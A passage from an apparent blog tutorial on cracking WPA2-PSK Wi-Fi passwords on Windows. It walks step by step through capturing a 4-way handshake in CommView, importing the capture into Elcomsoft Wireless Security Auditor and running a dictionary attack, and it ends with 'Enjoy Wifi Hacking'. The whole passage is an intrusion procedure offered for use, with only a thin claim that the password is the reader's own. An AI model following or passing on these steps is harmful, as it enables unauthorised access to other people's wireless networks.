packet for 4-way authentication. wait for some time so it will capture the packet. now click on the Save option and choose your file format Commview Capture Files (*.ncf) you capture work is done. Now open Elcomsoft Wireless Security Auditor tocrack your wifi password. Click on the Import Data tab > select the Import CommViewLog option. now it will show you information about AP and Multiple Handshake selection information. Click on Ok. now click on the Start attack option and select the Dictionary Attack option. However you have other attack options are also available. now within minutes it will found your password and it will show you the password. Enjoy Wifi Hacking with Windows machine. This video will help you in packet capture. Sursa: http://rumyittips.com/how-to-crack-a-wpa2-psk-password-with-windows/